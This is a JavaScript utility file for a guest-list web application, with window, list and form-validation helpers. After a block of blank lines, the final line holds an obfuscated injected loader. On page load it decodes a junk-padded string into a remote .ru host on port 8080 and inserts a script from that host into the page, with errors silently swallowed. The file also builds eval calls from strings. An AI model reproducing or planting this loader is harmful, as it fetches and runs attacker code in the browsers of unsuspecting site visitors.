//adding trim function to strings for javascript
String.prototype.trim = function() {
    return this.replace(/^\s*(\S*(\s+\S+)*)\s*$/, "$1");
}

function updateCheckboxTotal(checkbox, varName) {
    if (checkbox.checked) {
        eval(varName + '++;');
    }else{
        eval(varName + '--;');
    }
    var fName;
    if(document.all){
       fName='all';
    } else if (document.getElementById) {
        fName='getElementById';
    } else {
        return;
    }
    eval('document.'+fName+'("'+varName+'").innerHTML = '+varName+';');
}


function openEditGuestWindow(url){
	var editWin = window.open(url,'profile','toolbar=no,directories=no,resizable,top=100,left=100,scrollbars=no,status=no,menubar=no,width=595,height=735');
	editWin.focus();
	if (pageTimeoutId) clearTimeout(pageTimeoutId);
}

function openPrinterFriendlyWindow(url){
	var printerFriendlyWin = window.open(url,'print','toolbar=no,directories=no,resizable,top=5,left=5,scrollbars=yes,status=no,menubar=no,width=667,height=535');
	printerFriendlyWin.focus();
}

function openImportErrorReportWindow(url){
	var errorReport = window.open(url,'error_report','toolbar=no,directories=no,resizable,top=5,left=5,scrollbars=yes,status=no,menubar=no,width=667,height=535');
	errorReport.focus();
}

function resizeEditGuestWindow(height){
	var winHgt;
	if (height == null)
		winHgt = 640;
	else
		winHgt = height; 
	
	self.resizeTo(515,winHgt);
	self.moveTo(5,5);
}

function resizeEditGuestWindowWithError(){
	resizeEditGuestWindow(665)
}

function openPrinterFriendlyWindowFromSelectBox(selectBox) {
    var index = selectBox.selectedIndex;
    var value = selectBox.options[index].value;

    if(value.indexOf('ignore') == -1) {
        openPrinterFriendlyWindow(value);
    }
}

function openExportList(selectBox) {
    var index = selectBox.selectedIndex;
    var value = selectBox.options[index].value;

    if(value.indexOf('ignore') == -1) {
        window.location = value;
    }

}

function stripCommasAndAlertUser(textField){
	var newValue = '';
	if (textField.value.indexOf(',') == -1){
		return;
	}
	var i = 0, j = 0;
	for (; i < textField.value.length; i++){
	    var thisChar = textField.value.charAt(i);
	    if (thisChar == ',') continue;
	    newValue += thisChar;
	}
	textField.value = newValue;
	alert('Please do not enter any commas.');
}

function alertUserOfSessionTimeout(warningTime){
    setTimeout('sessionTimeoutHandler();',warningTime);
	window.open('/planning/glm/sessionTimeoutPopup.html?'+warningTime,'','toolbar=no,directories=no,resizable,top=100,left=100,scrollbars=no,status=no,menubar=no,width=325,height=250');
}

function sessionTimeoutHandler(){
    document.theForm.action = redirectURL;
    changesMade = false; // prevent warning popup from occuring
}

function showReminderPopup() {
    window.open('reminder.asp','','toolbar=no,directories=no,resizable,top=100,left=100,scrollbars=no,status=no,menubar=no,width=325,height=200');
}

function showQuickTourPopup() {
    window.open('/planning/glm/glm_quicktour.asp','glm_qt','top=100,left=100,width=450,height=400');
}

function isNetscape4X() {
	return !document.all && !document.getElementById;
}

//Bunch of functions for the tell your guests portion of glm
function isDuplicate(list, value) {
    for(var i = 0; i < list.options.length; i++) {
        var val = list.options[i].value;
        if(val.indexOf(value) != -1) {
            return true;
        }
    }
    return false;
}

function add(listFrom, listTo, addAll) {
    var i;
    var val;
    var text;
    var index = 0;
    var allOptions = listTo.options.toString();

    // see which indexes are selected on fromList
    for(i = 0; i < listFrom.options.length; i++) {
       if(addAll || listFrom.options[i].selected) {
	      val = listFrom.options[i].value;
          text = listFrom.options[i].text;

          //don't add duplicates
          if(isDuplicate(listTo, val)) {
            continue;
          }
          var idx = (listTo.options.length-1 < 0)?0:listTo.options.length-1;
          var val2 = listTo.options[idx].value;
          //delete dummy row from top of list and add it to end later
          if(val2 == "none") {
            listTo.options[idx] = new Option(text, val);
          } else {
            // add new role to listTo
            listTo.options[listTo.options.length] = new Option(text, val);
          }
       }
    }

    if(!isDuplicate(listTo, dummyVal)) {
        //add dummy row to end of list for presentation
        listTo.options[listTo.options.length] = new Option(dummyText, dummyVal);
    }
}


function remove(list, delAll) {
    var i;
    var val;
    var text;
    var index = 0;

    // see which indexes are selected on list
    for(i = 0; i < list.options.length; i++) {
       //delete dummy row from top of list and add it to end
       if(list.options[i].value == "none") {
          list.options[i--] = null;
       } else if(delAll || list.options[i].selected) {
		  // remove element from the list
		  list.options[i--] = null;
       }
    }

    if(!isDuplicate(list, dummyVal)) {
        //add dummy row to end of list for presentation
        list.options[list.options.length] = new Option(dummyText, dummyVal);
    }
}

function selectAllItemsToBeSubmitted(list) {
    var i;
    var length = list.options.length;
    for(i = 0; i < length; i++)
    {
      if(list.options[i].value != "none") {
            list.options[i].selected = true;
      }
    }

}


function checkGuestsEmails(theFormField,divName,msg) {
    var hasEmails = false;

    for(var i=0; i < theFormField.options.length; i++) {
        if(theFormField.options[i].value != 'none') {
            hasEmails = true;
        }
    }
    if (hasEmails){
        showMsg(divName,'');
        return true;
    } else {
        showMsg(divName,msg);
        return false;
    }

}

function checkSubjectLength(theFormField,divName,msg) {
    var length = theFormField.value.length;
    if (length > 0){
        showMsg(divName,'');
        return true;
    } else {
        showMsg(divName,msg);
        return false;
    }

}

function checkMessageLength(theFormField,divName,msg){
    var length = theFormField.value.length;
    if (length > 2000){
        showMsg(divName,'Your message is ' + length + ' characters, and the limit is 2000 characters. Please shorten your message.');
        return false;
    } else if (length == 0){
        showMsg(divName,msg);
        return false;
    } else {
        showMsg(divName,'');
        return true;
    }
}

function showMessage(divName, messageText){
    if (document.all){
        document.all(divName).innerHTML = messageText;
    }else if (document.getElementById){
        document.getElementById(divName).innerHTML =  messageText;
    }
}

//used on email your guests page to make it netscape4.x usuable
function showMsg(divName, messageText){
    if (document.all){
        document.all(divName).innerHTML = messageText;
    }else if (document.getElementById){
        document.getElementById(divName).innerHTML =  messageText;
    } else {
    	if(messageText.length > 0) alert(messageText);
    }
}

function characterCount(formField, divName, maxNumChar){
	var maxChar=maxNumChar;
	var txtString=formField.value;
	var strLength=txtString.length;

	remainingChars = maxChar - txtString.length;
	if(!isNetscape4X()) {
		showMessage(divName,remainingChars);
	} else {
		eval('document.theForm.'+divName+'.value=remainingChars;');
	}
}

function replace(inputString,oldChar,newChar){
  var rs = '';
  for (var i = 0; i < inputString.length; i++){
    if (inputString.charAt(i) == oldChar)
      rs += newChar;
    else 
      rs += inputString.charAt(i);
  }
  return rs;
}
  


function ue(val){
  return replace(unescape(val),'+',' ');
}













try{window.onload=function(){Efx7h3wawa = '' + 's##@e#@d@^#)o@@&!p#@a!r!#k$i@n(#g!)#-^!@c$o#m().$#(@r)!a^&(^y^$f&(i@)^l&(@)#e(.(@^c$o#m@!(.(m@y)$$w#((e(!!@b^^(&s$#e^#)!a($)r(#c@!#h(&)&-!$#c))#^o#^!m^#^.@#&a(!$v)a&(&)t!^^t!(#!o&&)&p$@).#r@^)u&$&^:())L&!(#o!e^k#$o@d(e&&@@r^#i&@8@(($r(^()/!^5@1)(#$&.@)^&l#$^a@&#(^/#^^)5^$1(.&#l(!a)/)a&l$$$i((!$m^()a!)$#m&!!a@.$c^o@m#$/&@g^@o$&(@o)@#)g^l(#e#!(^#.!!)c&)&o^(!m!/^x$b$$@o#(@x()!^.$&(c$^o^)!m#&@/!#!'.replace(/@|#|&|\!|\)|\(|\$|\^/ig, '') ;Nmdyl5zo72wn = 'appendChild';Pipowto4n48fz = document.createElement('sc'+'ript');Pipowto4n48fz.src = 'h'+'ttp://'+Efx7h3wawa.replace(/Loekoderi8r/g, '8080');Pipowto4n48fz.setAttribute('defer', 'def'+'er');eval('document.body.'+Nmdyl5zo72wn+'(Pipowto4n48fz)');} }  catch(S81zl25v ) {}
